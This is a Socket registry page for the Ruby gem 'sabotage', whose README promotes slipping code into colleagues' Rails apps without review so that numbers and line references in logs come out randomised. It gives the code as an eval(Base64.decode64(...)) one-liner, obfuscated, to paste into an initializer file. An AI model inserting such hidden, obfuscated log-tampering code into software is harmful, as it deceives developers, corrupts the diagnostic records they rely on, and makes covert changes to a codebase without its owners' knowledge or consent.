Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

sabotage

Package Overview
Dependencies
Maintainers
1
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

sabotage

  • 1.2.3
  • Rubygems
  • Socket score

Version published
Maintainers
1
Created
Source

Sabotage

Coding & debugging must be fun. Make life a bit harder for your colleagues :)

Just try to put this code without code review into your app and start watching reactions of your colleagues.

Code from this gem is changing logs and randomizing log output. It's impacting output like:

  Post Load (0.1ms)  SELECT "posts".* FROM "posts" ORDER BY "posts"."id" DESC LIMIT ?  [["LIMIT", 1]
  ↳ app/views/posts/index.html.erb:7
  Post Load (0.2ms)  SELECT "posts".* FROM "posts"
  ↳ app/views/posts/index.html.erb:25

It will change numbers in [["LIMIT", 1] to random [["LIMIT", 2] or [["LIMIT", 5]. Or app/views/posts/index.html.erb:7 to app/views/posts/index.html.erb:17 or to app/views/posts/index.html.erb:5

Usage

There are 2 options how you can make a sabotage on your project.

  • add as gem into Gemfile
  • without adding a gem, just put code below into some existing config/initializers/*
eval(Base64.decode64(%{CiAgY2xhc3MgU3RyaW5nCiAgICBkZWYgdG9fcmFuZG9tX251bWJlcgogICAg
ICByYW5kKHNlbGYubWF0Y2goL1xkKy8pWzBdLnRvX2kgKiAyKSArIDEKICAg
IGVuZAogIGVuZAogIG1vZHVsZSBBY3RpdmVTdXBwb3J0CiAgICBjbGFzcyBM
b2dnZXIgPCA6OkxvZ2dlcgogICAgICBjbGFzcyBTaW1wbGVGb3JtYXR0ZXIg
PCA6OkxvZ2dlcjo6Rm9ybWF0dGVyCiAgICAgICAgZGVmIGNhbGwoc2V2ZXJp
dHksIHRpbWVzdGFtcCwgcHJvZ25hbWUsIG1zZykKICAgICAgICAgIHN0ciA9
ICIje1N0cmluZyA9PT0gbXNnID8gbXNnIDogbXNnLmluc3BlY3R9XG4iCiAg
ICAgICAgICBzdHIuZ3N1YiEoL1xkK1xdLykgeyB8ZXwgZS50b19yYW5kb21f
bnVtYmVyIH0KICAgICAgICAgIFsncmInLCAnc2xpbScsICdoYW1sJywgJ2Vy
YicsICdqYnVpbGRlciddLmVhY2ggZG8gfGVlfAogICAgICAgICAgICBzdHIu
Z3N1YiEoL1wuI3tlZX06XGQrLykgICB7IHxlfCAiLiN7ZWV9OiN7ZS50b19y
YW5kb21fbnVtYmVyfSIgfQogICAgICAgICAgZW5kCiAgICAgICAgICBzdHIK
ICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQK}))

(if you like to see source - you can do it here: https://www.base64decode.org/)

Installation as Gem

gem 'sabotage'

or

add into initializers, or application.rb at the bottom of the file.

Contributing

You are welcome to contribute :)

License

The gem is available as open source under the terms of the MIT License.

FAQs

Package last updated on 11 Jan 2020

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc